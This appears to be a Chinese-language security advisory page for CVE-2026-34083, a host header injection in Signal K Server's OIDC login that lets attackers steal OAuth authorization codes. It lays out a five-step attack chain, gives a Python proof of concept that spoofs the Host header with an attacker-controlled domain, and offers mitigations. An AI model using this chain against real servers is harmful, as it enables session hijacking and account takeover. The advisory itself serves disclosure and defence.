IPBUF安全漏洞报告
English
CVE-2026-34083 CVSS 6.1 中危

CVE-2026-34083 Signal K Server主机头注入漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34083
漏洞类型
主机头注入
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Signal K Server

相关标签

Host Header InjectionOAuth2Session HijackingSignal KCWE-942

漏洞概述

Signal K Server在2.24.0之前的版本中存在安全漏洞,其OIDC登录和注销处理程序直接使用了未经验证的HTTP Host头来构造OAuth2重定向URI。由于默认配置下redirectUri被静默取消,攻击者可利用此缺陷伪造Host头,窃取OAuth授权码并劫持用户会话。

技术细节

该漏洞属于典型的主机头注入漏洞。Signal K Server在处理OIDC(OpenID Connect)认证流程时,未对HTTP请求头中的Host字段进行白名单验证,而是直接将其拼接到OAuth2的redirect_uri参数中。由于默认配置下redirectUri被静默取消设置,系统会回退使用请求中的Host值。利用过程如下:攻击者诱导受害者访问恶意构造的链接,该链接的Host头被修改为攻击者控制的域名。当受害者触发OIDC登录时,服务端向OAuth提供商请求授权,并携带攻击者伪造的回调地址。一旦用户完成认证,授权码将被发送给攻击者,攻击者利用该授权码即可完成令牌交换,进而获取对Signal K Server的访问权限,实现账户接管。

攻击链分析

STEP 1
侦察与准备
攻击者确认目标使用Signal K Server且版本低于2.24.0,并准备好用于接收授权码的恶意服务器。
STEP 2
诱导与注入
攻击者向受害者发送特制的链接,或在请求中篡改HTTP Host头部,将其指向攻击者控制的服务器域名。
STEP 3
认证触发
受害者点击链接并尝试通过OIDC进行登录。Signal K Server使用被篡改的Host头生成OAuth2重定向URI。
STEP 4
代码窃取
OAuth提供商认证成功后,根据重定向URI将授权码发送至攻击者控制的服务器。
STEP 5
会话劫持
攻击者截获授权码,向Signal K Server申请访问令牌,从而接管受害者账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:3000" malicious_host = "attacker-controlled-domain.com" # The vulnerable endpoint typically handles OIDC login endpoint = "/auth/oidc" # Construct the request with a spoofed Host header headers = { "Host": malicious_host, "User-Agent": "PoC-Scanner/1.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } print(f"[*] Sending request to {target_url}{endpoint}") print(f"[*] Spoofing Host header as: {malicious_host}") try: response = requests.get(target_url + endpoint, headers=headers, allow_redirects=False) # Check if the Location header contains the malicious host in the redirect_uri location = response.headers.get('Location') if location and malicious_host in location: print("[+] Vulnerability Confirmed! Malicious host found in redirect URI.") print(f"[+] Redirect Location: {location}") else: print("[-] Vulnerability not detected or specific conditions not met.") print(f"[*] Response Status: {response.status_code}") except Exception as e: print(f"[!] Error during request: {e}")

影响范围

Signal K Server < 2.24.0

防御指南

临时缓解措施
如果无法立即升级版本,建议在反向代理层面实施严格的Host头部白名单检查,确保传入的Host头与服务器官方域名完全匹配。同时,检查Signal K Server的配置文件,手动指定合法的OIDC redirectUri,防止系统回退使用动态Host头。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表